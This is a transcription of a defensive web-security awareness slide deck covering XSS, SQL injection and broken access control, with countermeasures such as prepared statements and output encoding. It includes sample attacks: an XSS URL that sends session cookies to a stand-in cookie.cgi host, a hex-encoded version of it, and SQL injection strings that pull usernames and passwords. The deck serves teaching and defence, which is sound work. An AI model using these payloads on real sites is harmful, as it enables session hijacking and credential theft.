Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure



Similar documents
The Top Web Application Attacks: Are you vulnerable?

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Where every interaction matters.

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

What is Web Security? Motivation

Magento Security and Vulnerabilities. Roman Stepanov

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet

Sitefinity Security and Best Practices

05.0 Application Development

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

Thick Client Application Security

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Securing Your Web Application against security vulnerabilities. Ong Khai Wei, IT Specialist, Development Tools (Rational) IBM Software Group

Adobe Systems Incorporated

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

DFW INTERNATIONAL AIRPORT STANDARD OPERATING PROCEDURE (SOP)

Reducing Application Vulnerabilities by Security Engineering

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

Passing PCI Compliance How to Address the Application Security Mandates

(WAPT) Web Application Penetration Testing

Guidelines for Website Security and Security Counter Measures for e-e Governance Project

Web application security

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

Criteria for web application security check. Version

Web Application Security

National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research

Web Application Security

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Introduction to Web Application Security. Microsoft CSO Roundtable Houston, TX. September 13 th, 2006

Essential IT Security Testing

Cross-Site Scripting

Data Breaches and Web Servers: The Giant Sucking Sound

Check list for web developers

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Testing the OWASP Top 10 Security Issues

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Hack Proof Your Webapps

Security Testing with Selenium

elearning for Secure Application Development

Rational AppScan & Ounce Products

Using Free Tools To Test Web Application Security

Penetration Test Report

PCI-DSS and Application Security Achieving PCI DSS Compliance with Seeker

Still Aren't Doing. Frank Kim

White Paper. Guide to PCI Application Security Compliance for Merchants and Service Providers

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

FINAL DoIT v.8 APPLICATION SECURITY PROCEDURE

Web Application Security 101

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

WHITE PAPER. FortiWeb Web Application Firewall Ensuring Compliance for PCI DSS 6.5 and 6.6

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

WHITE PAPER FORTIWEB WEB APPLICATION FIREWALL. Ensuring Compliance for PCI DSS 6.5 and 6.6

Intrusion detection for web applications

Web-Application Security

Information Supplement: Requirement 6.6 Code Reviews and Application Firewalls Clarified

Columbia University Web Security Standards and Practices. Objective and Scope

White Paper Secure Reverse Proxy Server and Web Application Firewall

External Supplier Control Requirements

Web Application Vulnerability Testing with Nessus

Excellence Doesn t Need a Certificate. Be an. Believe in You AMIGOSEC Consulting Private Limited

Overview of the Penetration Test Implementation and Service. Peter Kanters

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

OWASP Top Ten Tools and Tactics

Guidelines for Web applications protection with dedicated Web Application Firewall

Web Application Penetration Testing

Kenna Platform Security. A technical overview of the comprehensive security measures Kenna uses to protect your data

Client logo placeholder XXX REPORT. Page 1 of 37

MatriXay WEB Application Vulnerability Scanner V Overview. (DAS- WEBScan ) The best WEB application assessment tool

Stopping SQL Injection and. Manoranjan (Mano) Paul. Track: Operating Systems Security - Are we there yet?

OWASP TOP 10 ILIA

Members of the UK cyber security forum. Soteria Health Check. A Cyber Security Health Check for SAP systems

Web Application Security

Web Application Security

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

How To Protect A Web Application From Attack From A Trusted Environment

Web Application Firewall on SonicWALL SRA

Web Application Attacks and Countermeasures: Case Studies from Financial Systems

Bank Hacking Live! Ofer Maor CTO, Hacktics Ltd. ATC-4, 12 Jun 2006, 4:30PM

Spigit, Inc. Web Application Vulnerability Assessment/Penetration Test. Prepared By: Accuvant LABS

Architectural Design Patterns. Design and Use Cases for OWASP. Wei Zhang & Marco Morana OWASP Cincinnati, U.S.A.

Web Application Security. Srikumar Venugopal S2, Week 8, 2013

Table of Contents. Page 2/13

Strategic Information Security. Attacking and Defending Web Services

Last update: February 23, 2004

SECURE APPLICATION DEVELOPMENT CODING POLICY OCIO TABLE OF CONTENTS

Society for Information Management

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

Annex B - Content Management System (CMS) Qualifying Procedure

Introduction:... 1 Security in SDLC:... 2 Penetration Testing Methodology: Case Study... 3

The monsters under the bed are real World Tour

A Survey on Security and Vulnerabilities of Web Application

Cross Site Scripting in Joomla Acajoom Component

Protecting Your Organisation from Targeted Cyber Intrusion

Web Application Worms & Browser Insecurity

WEB APPLICATION SECURITY

Web Application Firewall on SonicWALL SSL VPN

Transcription:

Vulnerabilities, Weakness and Countermeasures Massimo Cotelli CISSP Secure

: Goal of This Talk Security awareness purpose Know the Web Application vulnerabilities Understand the impacts and consequences Apply the countermeasures 2

: Agenda Overview, Objectives Today's Common Vulnerabilities Attacks in detail: XSS SQL Injection Brocken access control Summary Demo Q&A 3

: Overview Why Invest security in the Application? Legal HTTP-requests goes through secure protocol SSL, firewall, DMZ, filters, Intrusion Detection Systems, The Application code is part of the security perimeter! Impact: lost of image, productivity, confidential data, Intellectual property, economical profits If we know the vulnerabilities we know how to solve it The enemy is ignorance!!! (Hacking Exposed) 4

: Overview Security Assessment: The System Studying the target system Analyze infrastructure, products and configuration (environment, open ports) With automated tools (Nessus, Nikto, ) is easy to discover the commercial product used and exploit the security holes. Security holes, patches and alerts are public!!! Important: keep your infrastructure up-to-date! 5

: Overview Security Assessment: The Application Studying the target application Producing and analyzing errors information Forcing authorisation checks Load tests Analysing of application validation 6

: Vulnerabilities Today Common Vulnerabilities Gartner: Over 70% of cyber attacks occur at the Web Application Layer NIST (National Institute of Standard and Technology): 92 % vulnerabilities are the application level Theo de Raadt OpenBSD: Probably the 95% of the security problems that happens in software are low level programmer errors M.G.Nistrom CISSP (javaone 2005) 95 % of Web application have vulnerabilities 7

: Vulnerabilities Vulnerability trends for 2006 Consortium (WASC) http://www.webappsec.org 8

: Vulnerabilities Top Ten OWASP Vulnerabilities 2007 1. Cross Site Scripting (XSS) 2. Injection Flaws 3. Malicious file execution (Insecure Remote File Include) 4. Insecure Direct Object Reference 5. Cross Site Request Forgery (CSRF or One click Attack ) 6. Information Leakage and Improper Error Handling 7. Broken Authentication and Session Management 8. Insecure Cryptographic Storage 9. Insecure Communications (Insecure Configuration Management) 10. Failure to Restrict URL Access 9

: Vulnerabilities Vulnerability trends for 2006 http://cwe.mitre.org 10

: Vulnerabilities Cross Site Scripting (XSS) How Inject malicious code (usually JavaScript) in a web page (stored, reflected or DOM injection) is executed on the victim s browser. Attack scope Session hijacking, cookie theft, misspresentation content (i.e. press release or news), User Credential 11

: Vulnerabilities Cross Site Scripting (XSS) Example Proof of concept: inject to a parameter: <script>alert('hacked')</script> Content change <img src = "malicious.js"> <iframe = "malicious.js"> 12

: Vulnerabilities Cross Site Scripting: Session hijacking XSS Attack propagated via E-mail or Web Page Web Application Log in with the stolen cookie Log in Get XSS page Log in Get Cookie Send the session cookie Web Application User The attacker is listening on a second site 13

: Vulnerabilities Cross Site Scripting (XSS) Attention: URL Encoded Attacks ASCII Usage: http://targetdomain.com/cgi?variable="><script>document.location='http://my domain.com/cgi-bin/cookie.cgi</script> Hex Usage: http://targetdomain.com/cgi?variable=%22%3e%3c%73%63%72%69%70 %74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74 Attention: AJAX and XSS attacks With Ajax applications, XSS can propagate like a virus (i.e. Yahoo worm). A malicious zombie may turn until the browser stays open (without user Interaction) 14

: Vulnerabilities Cross Site Scripting (XSS) Countermeasure Validate the Input: filter special characters, validate for length, type, syntax and business rule. Sanitize the Output: HTML encode the output "<" represents the < sign. ">" represents the > sign. "&" represents the & sign. """ represents the " mark. Usage of Anti XSS Library (.Net Approach) Verifying: check the code is less time-consuming if the validation and encoding is used. The automated tool and static code analysis tool can find simple XSS weakness. 15

: Vulnerabilities Session Hijacking Countermeasure Use secure cookie-secure and cookie-path to prevent XSS from application deployed in the same domain weblogic.xml (WLS 8.1): <session-descriptor> <session-param> <param-name>cookiepath</param-name> <param-value>/application</param-value> </session-param> <session-param> <param-name>cookiesecure</param-name> <param-value>true</param-value> </session-param> </session-descriptor> 16

: Vulnerabilities SQL Injection (Injection Flaws) How The attacker appends a piece of malicious SQL code in a parameter Form Proof of concept : add or 1=1 to a parameter Scope Database query obtaining confidential data, user credential until database reverse engineering. 17

: Vulnerabilities SQL Injection: example When a user enters the following URL: http://www.mydomain.com/products/products.asp?productid=123 The corresponding SQL query is executed: SELECT ProductName, ProductDescription FROM Products WHERE ProductNumber = 123 If we add to the parameter or 1=1 http://www.mydomain.com/products/products.asp?productid=123 or 1=1 SELECT ProductName, Product Description From Products WHERE ProductNumber = 123 OR 1=1 If we add to the parameter UNION SELECT SELECT ProductName, ProductDescription FROM Products WHERE ProductID = 123 UNION SELECT Username, Password FROM Users; 18

: Vulnerabilities SQL Injection: Countermeasure Limit the privileges to the database interface users Validate inputs: length, type and syntax Avoid detailed error messages Use bind variables, prepare statements Java Statement stmt = con.createstatement(); ResultSet rset = stmt.executequery("select field FROM tablename WHERE field1 = '" + paramvalue +"';"); Should be PreparedStatement pstmt = con.preparestatement("select field2 FROM table_name WHERE field1 =?"); pstmt.setstring(1, paramvalue); ResultSet rset = pstmt.executequery();.net Shoud be string paramvalue = "My Value";SqlCommand cmd = new SqlCommand("SELECT field2 FROM table_name WHERE field1 = @paramvalue;"); cmd.parameters.add("@paramvalue", paramvalue); 19

: Vulnerabilities Insecure Direct Object Reference (Broken Access Control) Restrictions on what authenticated users are allowed to do are not properly enforced. Forced Browsing Past access Check (bypass the authorisation control) Path traversal (i.e../../target_dir/target_file) Attackers can exploit these flaws to access other users' accounts, view sensitive files, or use unauthorized functions Example: If we know the target URL we may bypass the access Check and access on data that it should not be authorised. Rossi get the list of his employee and gat the salary: http://localhost/admin_tool/getsalaryofemployee.do?employee=rossi http://localhost/admin_tool/getsalaryofemployee.do?employee=bianchi 20

: Vulnerabilities Insecure Direct Object Reference Countermeasures Whenever possible use declarative control Avoid exposing private objects references Programmatic control (on user s data) should validated and check the authorisation at the request and not only on presentation (before the request) Verifying security: Automated tool will have difficulty, better is the code review and penetration testing. 21

: Summary Keep in mind Don t trust Inputs: always validate the HTTP-requests Sanitize the Output: encode special HTML-Tags Use bind variables and prepare statements Verify the authorisation checks Limit the access and privileges to the resources Code and architecture review, code inspection Keep updated your system and SW Load tests, check the limits, uncouple the interfaces Use best practices, components, standards and libraries 22

: Summary References Hacking Exposed: Network Security Secrets and Solutions http://www.owasp.org http://cve.mitre.org http://cwe.mitre.org/documents/vuln-trends.html http://www.imperva.com/application_defense_center/glossary http://www.technicalinfo.net/ http://e-docs.bea.com/wls/docs90/security/ http://otn.oracle.com/deploy/security/content.html http://www.sqlsecurity.com http://www.spidynamics.com/ http://www.webappsec.org/ 23

DEMO + Q&A http://www.post.ch/itsposta 24